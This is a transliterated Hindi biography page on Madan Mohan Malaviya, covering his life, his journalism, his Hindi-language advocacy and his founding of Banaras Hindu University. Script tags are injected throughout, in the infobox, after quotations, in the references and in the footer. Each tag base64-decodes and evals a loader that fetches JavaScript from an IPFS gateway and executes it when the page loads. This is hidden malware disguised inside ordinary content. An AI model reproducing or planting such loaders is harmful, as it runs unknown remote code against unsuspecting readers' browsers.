मदनमोहन मालवीय
madanamohan malaviy
| |
| poora nam | pandit mahamana madanamohan malaviy |
| janm | 25 disambar, 1861 |
| janm bhoomi | ilahabad |
| mrityu | 12 navambar, 1946 |
| mrityu sthan | ilahabad |
| abhibhavak | brajanath aur bhoonadevi |
| pati/patni | kundan devi |
| nagarikata | bharatiy |
| prasiddhi | samaj sudharak |
| parti | kaangres |
| pad | kaangres ke adhyaksh |
| shiksha | eph.e., bi.e., vaqalat |
| vidyalay | shri dharmajnanopadesh pathashala, ilahabad zila skool, myor seantral k aaulej |
| bhasha | hiandi |
| puraskar-upadhi | 'bharat ratn' (24 disambar, 2014) |
| vishesh yogadan | kashi hindoo vishvavidyalay ki sthapana, hindi bhasha ka vikas, shiksha ka vikas |
| karmakshetr | shikshak, vakil, sampadak, samaj sudharak, neta, svatantrata senani |
| rachanaean | abhyuday, lidar, hindustan taims, maryada, sanatan dharm-sangrah |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
madanamohan malaviy (aangrezi: Madan Mohan Malaviya, janm- 25 disambar, 1861 ; mrityu- 12 navambar, 1946) mahanh svatantrata senani, rajanitijn aur shikshavid hi nahian, balki ek b de samaj sudharak bhi the. itihasakar visi sahoo ke anusar hindoo rashtravad ke samarthak madan mohan malaviy desh se jatigat be diyoan ko to dana chahate the. unhoanne dalitoan ke mandiroan mean pravesh nishedh ki buraee ke khilaf deshabhar mean aandolan chalaya. 24 disambar, 2014 ko bharat ke rashtrapati pranab mukharji ne pandit madanamohan malaviy ko maranoparaant desh ke sabase b de nagarik samman 'bharat ratn' se navaja.
sankshipt parichay
|
jivan parichay
ilahabad mean 25 disambar, 1861 mean janme pandit madan mohan malaviy apane mahanh karyoan ke chalate 'mahamana' kahalaye. inake pita ka nam brajanath aur mata ka nam bhoonadevi tha. chooanki ye log malava ke mool nivasi the, isilie malaviy kahalae. mahamana malaviy ji ne sanh 1884 mean uchch shiksha samapt ki. shiksha samapt karate hi unhoanne adhyapan ka kary shuroo kiya par jab kabhi avasar milata ve kisi patr ityadi ke liye lekhadi likhate. 1885 ee. mean ve ek skool mean adhyapak ho gaye, parantu shighr hi vaqalat ka pesha apana kar 1893 ee. mean ilahabad haeekort mean vaqil ke roop mean apana nam darj kara liya. unhoanne patrakarita ke kshetr mean bhi pravesh kiya aur 1885 tatha 1907 ee. ke bich tin patroan- hindustan, iandiyan yooniyan tatha abhyuday ka sampadan kiya.
shiksha
madanamohan malaviy ki prathamik shiksha ilahabad ke hi shri dharmajnanopadesh pathashala mean huee jahaan sanatan dharm ki shiksha di jati thi . isake bad malaviyaji ne 1879 mean ilahabad zila skool se eantreans ki pariksha uttirn ki aur myor seantral k aaulej se eph.e. ki. arthik sthiti achchhi n hone ke karan madanamohan ko kabhi-kabhi fis ke bhi lale p d jate the. is arthik vipannata ke karan bi.e. karane ke bad hi malaviyaji ne ek sarakari vidyalay mean 40 rupe masik vetan par adhyapaki shuroo kar di.
vivah
madan mohan malaviy ka vivah mirajapur ke pan. nandalal ji ki putri kundan devi ke sath 16 varsh ki ayu mean hua tha.[1]
rajanitik jivan
jivanakal ke prarambh se hi malaviy ji rajaniti mean ruchi lene lage aur 1886 ee. mean bharatiy rashtriy kaangres ke doosare adhiveshan mean sammilit hue. malaviy ji do bar 1909 tatha 1918 ee. mean kaangres ke adhyaksh hue. 1902 ee. mean malaviy ji uttar pradesh 'ianpiriyal lejisletiv kauansil' ke sadasy aur bad mean 'seantral lejisletiv aseanbali' ke sadasy chune gaye. malaviy ji british sarakar ke nirbhik alochak the aur unhoanne panjab ki daman niti ki tivr alochana ki, jisaki charam parinati jaliyaanvala bag kand mean huee. ve kattar hindoo the, parantu shuddhi (hindoo dharm ko chho dakar doosara dharm apana lene valoan ko pun: hindoo bana lete) tatha asprishyata nivaran mean vishvas karate the. ve tin bar hindoo mahasabha ke adhyaksh chune gaye. unaki sabase b di upalabdhi 1915 ee. mean 'kashi hindoo vishvavidyalay' ki sthapana hai. vishvavidyalay sthapana ke lie unhoanne sare desh ka daura karake deshi rajaoan tatha janata se chanda ki bhari rashi ekatrit ki.
sampadak
balkrishna bhatt ke ‘hindi pradip’ mean hindi ke vishay mean unhoanne un dinoan bahut kuchh likha sanh 1886 ee. mean kaangres ke doosare adhiveshan ke avasar par kalakaankar ke raja ramapal sianh se unaka parichay hua tatha malaviy ji ki bhasha se prabhavit hokar raja sahab ne unhean dainik 'hindustan' ka sampadak banane par raji kar liya. malaviy ji ke lie yah ek yashasvi jivan ka shubh shriganesh siddh hua.
rachanaean
abhyuday
- REDIRECTsaancha:mukhy
san 1905 ee. mean malaviy ki hindoo vishvavidyalay ki yojana pratyaksh roop dharan kar chuki thi. isi ke prachar ki drishti se unhoanne 1907 ee. mean 'abhyuday' ki sthapana ki. malaviy ji ne do varsh tak isaka sampadan kiya. prarambh mean yah patr saptahik raha, phir sanh 1915 ee. se dainik ho gaya.
lidar aur hindustan taims
- REDIRECTsaancha:mukhy
'lidar' aur 'hindustan taims' ki sthapana ka shrey bhi malaviy ji ko hi hai. 'lidar' ke hindi sanskaran 'bharat' ka arambh sanh 1921 mean hua aur 'hindustan taims' ka hindi sanskaran 'hindustan' bhi varshoan se nikal raha hai. inaki mool prerana mean malaviy ji hi the.
maryada
- REDIRECTsaancha:mukhy
'lidar' ke ek varsh bad hi malaviy ji ne 'maryada' namak patrika nikalavane ka prabandh kiya tha. is patr mean bhi ve bahut dinoan tak rajanitik samasyaoan par nibandh likhate rahe. yah patrika kuchh dinoan tak jnanamandal limited, varanasi se prakashit hoti rahi.
sanatan dharm
san 1906 ee. mean ilahabad ke kumbh ke avasar par unhoanne sanatan dharm ka virat adhiveshan karaya, jisamean unhoanne 'sanatan dharm-sangrah' namak ek brihat granth taiyar karakar mahasabha mean upasthit kiya. kee varsh tak us sanatan dharm sabha ke b de-b de adhiveshan malaviy ji ne karaye. agale kumbh mean triveni ke sangam par inaka sanatan dharm sammelan bhi is sabha se mil gaya. sanatan dharm sabha ke siddhaantoan ke prachararth kashi se 20 julaee, 1933 ee. ko malaviy ji ki sanrakshata mean 'sanatan dharm' namak saptahik patr bhi prakashit hone laga aur lahaur se ’mishrabandhu’ nikala yah sab malaviy ji ke prayatnoan ka hi phal tha.
any patroan ko bhi malaviy ji sada sahayak karate rahe. ve patroan dvara janata mean prachar karane mean bahut vishvas rakhate the. aur svayan varshoan tak kee patroan ke sampadak rahe. patrakarita ke atirikt ve vividh sammelanoan, sarvajanik sabhaoan adi mean bhi bhag lete rahe. kee sahityik aur dharmik sansthaoan se unaka sampark hua tatha unaka sambandh ajivan bana raha. isake atirikt 'sanatan dharm sabha' ke neta hone ke karan desh ke vibhinn bhagoan mean jitane bhi sanatan dharm mahavidyalayoan ki sthapana huee, vah malaviy ji ki sahayata se hi huee. inamean kanapur, lahaur, aligadh, adi sthanoan ke sanatan dharm mahavidyalay ullekhaniy haian.
prachin sanskriti ke samarthak
[[chitr:Banaras-Hindu-University.jpg|thumb|220px|right|kashi hindoo vishvavidyalay, varanasi
Banaras Hindu University, Varanasi]]
malaviy ji prachin sanskriti ke ghor samarthak the. sarvajanik jivan mean unaka padarpan visheshakar do ghatanaoan ke karan hua-
- aangrezi aur urdoo ke badhate hue prabhav ke karan hindi bhasha ko kshati n pahuanche, isake lie janamat sangrah karana.
- bharatiy sabhyata aur sanskriti ke mool tatvoan ko protsahan dena.
ary samaj se matabhed
ary samaj ke pravartak tatha any karyakartaoan ne hindi ki jo seva ki thi, malaviy ji usaki kadr karate the kiantu dharmik aur samajik vishayoan par unaka ary samaj se matabhed tha. samast karmakand, ritirivaj, moortipoojan adi ko ve hindoo dharm ka maulik aang manate the. isalie dharmik manch par aryasamaj ki vichar dhara ka virodh karane ke lie unhoanne janamat sangathit karana arambh kiya. inhian prayatnoan ke phalasvaroop pahale 'bharatadharm mahamandal' aur pichhe 'akhil bharatiy sanatan dharm' sabha ki nianv p di. dharmik vicharoan ko lekar donoan sampradayoan mean chahe jitana matabhed raha ho kiantu hindi ke prashn par donoan ka matabhed tha. shiksha aur prachar ke kshetr mean sanatan dharm sabha ne hindi ko unnat karane ke lie jo kuchh kiya, usaka shrey malaviy ji ko hi hai.
hindi ke vikas mean yogadan
malaviy ji ek saphal patrakar the aur hindi patrakarita se hi unhoanne jivan ke karmakshetr mean padarpan kiya. vastav mean malaviy ji ne us samay patroan ko apane hindi-prachar ka pramukh sadhan bana liya aur hindi bhasha ke star ko ooancha kiya tha. dhire-dhire unaka kshetr vistrit hone laga. patr sampadan se dharmik sansthaean aur inase sarvajanik sabhaean visheshakar hindi ke samarthanarth aur yahaan se rajaniti ki or is kram ne unase sampadan kary chhu dava diya aur ve vibhitr sansthaoan ke sadasy, sansthapak athava sanrakshak ke roop mean samane ane lage. patrakar ke roop mean unaki hindi seva ki yahi sima hai, yadyapi lekhak ki haisiyat se ve bhasha aur sahity ki utrati ke lie sada prayatnashil rahe. hindi ke vikas mean unake yogadan ka tab doosara adhyay arambh hua.
|
chitr:Blockquote-open.gif
"bharatiy vidyarthiyoan ke marg mean ane vali vartaman kathinaeeyoan ka koee aant nahian hai. sabase b di kathinata yah hai ki shiksha ka madhyam hamari matribhasha n hokar ek atyant duruh videshi bhasha hai. sabhy sansar ke kisi bhi any bhag mean jan-samuday ki shiksha ka madhyam videshi bhasha nahian hai."
chitr:Blockquote-close.gif - madanamohan malaviy
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> hindi ki sabase b di seva malaviy ji ne yah ki ki unhoanne uttar pradesh ki adalatoan aur daftaroan mean hindi ko vyavahar yogy bhasha ke roop mean svikrit karaya. isase pahale keval urdoo hi sarakari daftaroan aur adalatoan ki bhasha thi. yah andolan unhoanne sanh 1890 ee. mean arambh kiya tha. tark aur aankadoan ke adhar par shasakoan ko unhoanne jo avedan patr bheja usamean likha ki “pashchimottar pradesh tatha avadh ki praja mean shiksha ka phailana is samay sabase avashyak kary hai aur gurutar pramanoan se yah siddh kiya ja chuka hai ki is kary mean saphalata tabhi prapt hogi jab kachahariyoan aur sarakari daftaroan mean nagari akshar jari kiye jayeange. atev ab is shubh kary mean jara-sa bhi vilamb n hona chahie. sanh 1900 ee. mean gavarnar ne unaka avedan patr svikar kiya aur is prakar hindi ko sarakari kamakaj mean hissa mila. 'kashi hindoo vishvavidyalay' ke kulapati ki sthiti mean upadhivitaranoantsavoan par pray: malaviy ji hindi mean hi bhashan karate the. shiksha ke madhyam ke vishay mean malaviy ji ke vichar b de spasht the. apane ek bhashan mean unhoanne kaha tha ki "bharatiy vidyarthiyoan ke marg mean ane vali vartaman kathinaeeyoan ka koee aant nahian hai. sabase b di kathinata yah hai ki shiksha ka madhyam hamari matribhasha n hokar ek atyant duruh videshi bhasha hai. sabhy sansar ke kisi bhi any bhag mean jan-samuday ki shiksha ka madhyam videshi bhasha nahian hai."
kashi nagari pracharini sabha
- REDIRECTsaancha:mukhy
san 1893 ee. mean malaviy ji ne kashi nagari pracharini sabha ki sthapana mean poorn yog diya. ve sabha ke pravartakoan mean the aur arambh se hi sabha ko unaki sahayata ka sambal raha. sabha ke prakashan, shodh aur hindi prasar-kary mean malaviy ji ki ruchi barabar bani rahi aur aantim din tak ve usaka margadarshan karate rahe.
akhil bharatiy hindi sahity sammelan
hindi andolan ke sarvapratham neta hone ke karan malaviy ji par hindi sahity ki abhivriddhi ka dayitv bhi a gaya. inhian uddeshyoan ki poorti hetu sanh 1910 ee. mean unaki sahayata se ilahabad mean 'akhil bharatiy hindi sahity sammelan' ki sthapana huee. usi varsh aktoobar mean sammelan ka pratham adhiveshan kashi mean hua. jisake sabhapati malaviy ji the. malaviy ji vishuddh hindi ke paksh mean the. ve hindi aur hindustani ko ek nahian manate the. shiksha ke kshetr mean unhoanne jo advitiy kary kiya hai, usaka bhi ek avashyak aang sahityik hai.
uchch koti ke vakta aur lekhak
|
chitr:Blockquote-open.gif
ham dharm ko charitr-nirman ka sidha marg aur saansarik sukh ka sachcha dvar samajhate haian. ham desh-bhakti ko sarvottam shakti manate haian jo manushy ko uchchakoti ki niahsvarth seva karane ki or pravritt karati hai.
chitr:Blockquote-close.gif - madan mohan malaviy
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> 'hindi sahity sammelan' jaisi sahityik sansthaoan ki sthapana dvara 'kashi hindoo vishvavidyalay' tatha any shikshan kendroan ke nirman dvara aur sarvajanik roop se hindi andolan ka netritv kar use sarakari daftaroan mean svikrit karake malaviy ji ne hindi ki seva ki use sadharan nahian kaha ja sakata. unake prayatnoan se hindi ko yash vistar aur uchch pad mila hai kiantu is bat par kuchh ashchary hota hai ki aisi shiksha-diksha pakar aur virasat mean hindi tatha sanskrit ka jnan prapt karake malaviy ji ne ek bhi svatantr rachana nahian ki. unake agralekhoan, bhashanoan, tatha dharmik pravachanoan ke sangrah hi unaki shaili aur oj poorn abhivyakti ke parichayak ke roop mean upalabdh hai. isamean koee sandeh nahian ki ve uchch koti ke vidvan, vakta aur lekhak the. sambhav hai bahudhandhi hone ke karan unhean koee pustak likhane ka samay nahian mila. apane jivan kal mean jo unhoanne kuchh hindi bhasha aur sahity ke lie kiya sabhi hindi premiyoan ke lie paryapt hai kiantu unaki niji rachanaoan ka abhav khatakata hai. unake bhashanoan aur phutakar lekhoan ka koee achchha sangrah aj upalabdh nahian hai. keval ek sangrah unake jivanakal mean hi sita ram chaturvedi ne prakashit kiya tha, vah bhi purane dhang ka hai aur utana upayogi nahian jitana hona chahie.
hindi, hindoo aur hindustan
lokamany tilak, rajendr baboo, aur javaharalal neharoo ke maulik ya anudit sahity ki tarah malaviy ji ki rachanaoan se hindi ki sahity nidhi bharit nahian huee. isalie unake sampoorn krititv ko aankate hue yah manana hoga ki hindi bhasha aur sahity ke vikas mean malaviy ji ka yogadan kriyatmak adhik hai, rachanatmak sahityakar ke roop mean kam hai. mahamana malaviy ji apane yug ke pradhan netaoan mean the. jinhoanne hindi, hindoo aur hindustan ko sarvochch sthan par prasthapit karaya.
asahayog aandolan
[[chitr:Sarojini-Naidu-Gandhi-Malaviya.jpg|thumb|220px|sarojini nayadoo, mahatma gaandhi aur pandit madanamohan malaviy]]
- REDIRECTsaancha:mukhy
malaviy ne gaandhi ji ke asahayog aandolan mean badh-chadhakar bhag liya. 1928 mean unhoanne lala lajapat ray, javahar lal neharoo aur any svatantrata senaniyoan ke sath milakar saiman kamishan ka zabardast virodh kiya aur isake khilaf deshabhar mean janajagaran abhiyan bhi chalaya. mahamana tushtikaran ki nitiyoan ke khilaf the. unhoanne 1916 ke lakhanoo paikt ke tahat musalamanoan ke lie alag nirvachak mandal ka virodh kiya. vah desh ka vibhajan nahian hone dena chahate the. unhoanne gaandhiji ko agah kiya tha ki vah desh ke bantavare ki kimat par svatantrata svikar n karean. malaviy ji ne 'satyamev jayate' ke nare ko jan-jan mean lokapriy banaya. unhoanne 1931 mean pahale golamej sammelan mean desh ka pratinidhitv kiya.
samajik kary
pan. madan mohan malaviy ji kee sansthaoan ke sansthapak tatha kee patrikaoan ke sampadak rahe. is roop mean ve hindoo adarshoan, sanatan dharm tatha sanskaroan ke palan dvara rashtr-nirman ki pahal ki thi. is disha mean 'prayag hindoo sabha' ki sthapana kar samasamayik samasyaoan ke sanbandh mean vichar vyakt karate rahe. sanh 1884 ee. mean ve hindi uddharini pratinidhi sabha ke sadasy, sanh 1885 ee. mean 'indiyan yooniyan' ka sampadan, sanh 1887 ee. mean 'bharat-dharm mahamandal' ki sthapana kar sanatan dharm ke prachar ka kary kiya. sanh 1889 ee. mean 'hindustan' ka sampadan, 1891 ee. mean 'indiyan opiniyan' ka sampadan kar unhoanne patrakarita ko nee disha di. isake sath hi sanh 1891 ee. mean ilahabad haeekort mean vakalat karate hue anek mahattvapoorn v vishisht mamaloan mean apana loha manavaya tha. sanh 1913 ee. mean vakalat chho d di aur rashtr ki seva ka vrat liya taki rashtr ko svadhin dekh sakean.
- yahi nahian ve arambh se hi vidyarthiyoan ke jivan-shaili ko sudharane ki disha mean unake rahan-sahan hetu chhatravas ka nirman karaya. sanh 1889 ee. mean ek pustakalay bhi sthapit kiya.
- ilahabad mean myunispailiti ke sadasy rahakar sanh 1916 tak sahayog kiya. isake sath hi bharatiy rashtriy kaangres ke sadasy ke roop mean bhi kary kiya.
- sanh 1907 ee. mean basant panchami ke shubh avasar par ek saptahik hindi patrika abhyuday nam se arambh ki, sath hi aangreji patr lidar ke sath bhi ju de rahe.
- pita ki mrityu ke bad pandit ji desh-seva ke kary ko adhik mahatv diya. 1919 ee. mean 'kumbh-mele' ke avasar par prayag mean 'prayag seva samiti' banaee taki tirthayatriyoan ki dekhabhal ho sake. isake bad nirantar ve svartharahit karyo ki or agrasar hue tatha mahabharat, mahakavy ke nimnalikhit udaharan ko apana adarsh jivan banaya -
n tvahan kamaye rajyan n svargan n punarbhavamh . kamaye duahkh taptanamh praninamartanashanamh ..[1]
kashi hindoo vishvavidyalay ki sthapana
- REDIRECTsaancha:mukhy
malaviy ji ne sanh 1916 ee. mean 'kashi hindoo vishvavidyalay' ki sthapana ki aur kalaantaroan mean yah eshiya ka sabase b da vishvavidyalay ban gaya. vastav mean yah ek aitihasik kary hi unaki shiksha aur sahity seva ka amit shilalekh hai. pan0 madan mohan malaviy ji ke vyaktitv par ayarish mahila d aau. eni beseant ka abhootapoorv prabhav p da, jo hindustan mean shiksha ke prachar-prasar hetu dridhapratijn rahian. ve varanasi nagar ke kamachchha namak sthan par 'sentral hindoo k aaulej' ki sthapana sanh 1889 ee. mean ki, jo bad mean chalakar hindoo vishvavidyalay ki sthapana ka kendr bana. pandit ji ne tatkalin banaras ke maharaj shri prabhunarayan sianh ki sahayata se sanh 1904 ee. mean 'banaras hindoo vishvavidyalay' ki sthapana ka man banaya. sanh 1905 ee. mean banaras shahar ke taun hal maidan ki amasabha mean shri di. en. mahajan ki adhyakshata mean ek prastav parit karaya. sanh 1911 ee. mean d aau. eni beseant ki sahayata se ek prastavana ko manjoori dilaee jo 28 navambar 1911 ee. mean ek 'sosaiti' ka svaroop liya. is 'sosayati' ka uddeshy 'di banaras hindoo yoonivarsiti' ki sthapana karana tha. 25 march 1915 ee. mean sar harakort batalar ne impiriyal lejisletiv esembali mean ek bil laya, jo 1 aktoobar sanh 1915 ee. ko 'aikt' ke roop mean manjoor kar liya gaya. 4 pharavari, sanh 1916 ee. (magh shukl pratipada, sanvath 1972) ko 'di banaras hindoo yoonivarsiti' ki nianv dal di gee. is avasar par ek bhavy ayojan hua. jisamean desh v nagar ke adhikadhik ganamany log, maharajagan upasthit rahe.[1]
sansmaran
- nyayamoorti 'giradhar malaviy ji' ke anusar - mahamana ke age jhuk gee aangrejoan ki sanginean
1924 ke prayag kuanbh mela kshetr mean baans balliyoan ko baandh kar banae ge avarodhak aur isake ek taraph 'aaul iandiya seva samiti' ke svayansevak aur doosari or aangrez sipahiyoan ki sanginean tani thian. ek avaz ke sath hi saiank doan yuvak beriketiang ke par kar ge. unhean n goli ka dar tha, na hi aangrejoan ka dar. is samay aangrejoan ne ganga mean snan par pratibandh lagane ki ghoshana ki thi. mahamana madan mohan malaviy ne is pratibandh ka jamakar virodh kiya tha v apane svayansevakoan ke sath ganga snan ke lie mela kshetr mean dat ge the. is aandolan mean pan. javahar lal neharoo bhi shamil hue the. goli ab chali tab chali ke mahaul mean malaviy ke ahvan par beriketiang ke par chhalaang lagane valoan mean vah pahali pankti mean shamil the. malaviy ji ki pautr v haee kort ke poorv nyayadhish nyayamoorti 'giradhar malaviy ji' ke anusar mahamana ka vyaktitv hi aisa tha. koee unase prabhavit hue bina rah nahian sakata tha. aangrez bhi unase khase prabhavit the. yahi vajah thi ki mahamana dvara virodh karane ke sath hi aangrejoan ki bandookean jhuk gee thian. unake anusar ganga ke lie mahamana lagatar sakriy rahe. unhoanne 1913 mean haridvar mean baandh banane ki aangrejoan ki yojana ka virodh kiya tha. unake dabav mean aangrez sarakar ko jhukana p da tha. tatkalin bharat sarakar ne mahamana ke sath samajhauta kiya tha. is samajhaute mean ganga ko hinduoan ki anumati ke bina n baandhane v 40 pratishat ganga ka pani kisi bhi sthiti mean prayag tak pahuanchane ki shart shamil thi. nyayamoorti pan. malaviy ke anusar yahi vajah hai ki aj ganga mean kuchh pani hamean mil ja raha hai.[2]
- pan. shashi malaviy' ke anusar
mahamana madan mohan malaviy samiti ke sachiv 'pan. shashi malaviy' ke anusar gau, ganga v gayatri mahamana ka pran the. unhoanne banaras hindoo vishvavidyalay mean bakayada ek b di gaushala banavayi thi. is gaushala ko dekharekh ke lie vishvavidyalay ke krishi k aaulej ko sauanpa gaya tha. ganga unhean is qadar pyari thian ki unhoanne n sirf ganga ke lie b de aandolan kie varanh ganga ko vishvavidyalay ke andar bhi le ge the, jisase ki poora praangan hamesha pavitr rahe. nyayamoorti malaviy ke anusar mahamana sahi mayanoan mean adhunik bharat ke nirmanakarta the. desh mean ianjiniyariang, pharmesi adi ki padhaee ka kary mahamana ne hi praranbh kiya tha. kashi hindoo vishvavidyalay mean desh mean pahali bar ianjiniyariang ki padhaee shuroo huee thi. dashakoan tak desh mean ianjiniyariang ki digri khas kar 'ilektrikal' v 'maikenikal' ki digri banaras ianjiniyariang k aaulej ke madhyam se hi di jati rahi hai.
sanatan dharmi chhatroan ko shakahari bhojan v rahane ki vyavastha sulabh karane ke lie ilahabad mean hindoo chhatravas (hindoo bordig haus) ki sthapana, bharati bhavan pustakalay, do akhabar praranbh karane adi ke kary mahamana ne kie the. hindoo chhatravas aj bhi ilahabad vishvavidyalay ka sabase b da chhatravas hai. nyayamoorti malaviy ke anusar mahamana hindi ke prabal samarthak the. vah aangrezi mean bat karane ko deshadroh manate the. mahamana ke athak prayasoan ke phalasvaroop hi tatkalin aangrez sarakar ne 18 aprail 1900 ko adesh jari kar devanagari ko sarakari karyalayoan v nyayalayoan mean prayog ki anumati di thi.[2]
mrityu
malaviy ji ajivan desh seva mean lage rahe aur 12 navambar, 1946 ee. ko ilahabad mean unaka nidhan ho gaya.
|
|
|
|
|
|
tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 mahamana pan. madan mohan malaviy ka jivan-parichay (hiandi) (ech.ti.em.el) malaviy mooly anushilan keandr. abhigaman tithi: 25 disambar, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 2.0 2.1 aur mahamana ke age jhuk gee aangrejoan ki sanginean (hindi) (pi.ech.pi) jagran.yahoo.com. abhigaman tithi: 31 janavari, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
- malaviy rashtriy praudyogiki sansthan jayapur
- BHU
- PANDIT MADAN MOHAN MALAVIYA
- hiandi patrakarita ke unnayak madan mohan malaviy
- mahamana pandit madan mohan malaviy aur patrakarita
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- REDIRECTsaancha:bharat rathn
- REDIRECTsaancha:bharat rathn2
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>